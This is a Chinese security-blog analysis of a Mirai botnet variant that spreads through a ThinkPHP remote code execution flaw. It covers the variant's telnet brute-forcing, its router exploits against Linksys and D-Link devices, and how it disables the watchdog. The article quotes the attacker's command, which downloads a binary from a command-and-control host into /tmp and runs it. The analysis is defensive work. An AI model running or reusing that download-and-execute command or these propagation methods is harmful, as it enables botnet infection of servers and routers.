利用Thinkphp漏洞传播的Mirari新变种分析 – 作者:kczwa1

*本文原创作者:kczwa1,本文属于FreeBuf原创奖励计划,未经许可禁止转载

一、概述

12月底,通过安全设备检测到几个不同的IP试图对几个公司内部的网站进行漏洞攻击。通过攻击日志发现攻击IP使用了于2018年12月12日爆出的ThinkPHP远程代码执行漏洞(CNVD-2018-24942),攻击者利用该漏洞,可在未授权的情况下远程执行代码。

下图为攻击日志:

图片.png攻击者试图在被攻击服务器上执行如下命令:

‘Cd /tmp;wget http://cnc.junoland.xyz/bins/egg.x86;cat egg.x86> lzrd;chmod 777 lzrd;./lzrd ‘

同时从该恶意文件存放网站上还发现了arm,mips,mipsl等不同cpu架构版本的病毒:

图片.png获取egg.x86文件后,截止测试时,根据virustotal网站信息,暂无国内安全公司识别该文件为病毒,如下图所示:

图片.png此文件应该是Mirari病毒的一种新变种,保留了传统Mirari特征,试图通过最新的thinkphp漏洞来收割一波服务器肉鸡,比起之前的mirari只攻击IOT设备,这个文件的目标范围扩大了不少。

二、病毒分析

由于体力原因,并未分析完所有的功能。

该病毒为了躲避静态分析,并不直接从库函数libc里面调用系统函数,导入表为空:

图片.png

所有的系统调用都采用int 80h Linux系统软中断调用组合系统调用号的方式实现,如下图:

图片.png注释后的关键结构代码如下:

图片.png图片.png

包含了漏洞扫描模块和结束模块,代码结构与mirai 类似。

listen_43824模块会打开本地网络监听端口43824:

图片.png

图片.pngtelnet_brute_force模块,扫描随机IP的telnet服务是否打开,telnet服务在路由器等IOT设备上应用较多,目的IP根据系统时间和进程号进行计算生成:

图片.png

抓取流量包后发现扫描行为如下:

图片.png

在进行逆向调试时,成功扫描到某IP开放了23端口telnet服务,从返回信息看该IP为一台华为家用路由器,如下图所示:

图片.png

当扫描到目的IP开放telnet服务后,开始使用弱口令尝试爆破扫描出的telnet服务。在内存中发现病毒自带的一份弱口令密码表,如图下图所示,这个样本采用少量的密码字典,因为大范围的扫描公网IP字典少扫描效率相对较高,同时由于攻击目标为IOT的Telnet服务,这个服务经常用一些很简单的密码:

图片.png

Linksys_exp模块会扫描随机IP的8080服务是否打开,目的IP根据系统时间和进程号进行计算生成,如图所示:

图片.png下图为通过抓取网络数据发现的对随机IP进行的8080端口扫描行为:

图片.png

当扫描到IP开放后则使用漏洞CNVD-2014-01260(Linksys多款路由器 tmUnblock.cgi ttcp_ip 参数远程命令执行漏洞)进行攻击,根据payload内容如果此漏洞攻击成功则会在目标路由器上下载egg.mpsl(此病毒的mpsl版本)并执行,攻击payload如下:

图片.png

攻击流量数据如下:

图片.png

thinkphp_exp模块,跟前面的进程一样进行任意IP端口扫描,发现端口打开后,尝试使用CNVD-2018-24942(ThinkPHP远程代码执行漏洞)进行攻击:

图片.pngdir_exp模块,跟前面的进程一样进行任意IP端口扫描, 发现端口打开后,尝试使用CNVD-2013-09199 (DIR-300, DIR-600, DIR-645, DIR-845和DIR-865UPnP SOAP接口接口不正确过滤XML参数,允许远程攻击者利用漏洞注入和执行任意命令)进行攻击:

图片.png

Watchdog_scan模块,由于IOT设备中经常配置看门狗模块以使机器在出现问题时重启,病毒进程在设备重启后将无法启动,因此子进程5尝试在文件系统中打开名为/dev/watchdog,etc/watchdog等的文件,一旦打开成功则篡改其权限让watchdog失效:图片.png

*本文原创作者:kczwa1,本文属于FreeBuf原创奖励计划,未经许可禁止转载

来源:freebuf.com 2019-01-21 08:30:47 by: kczwa1

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论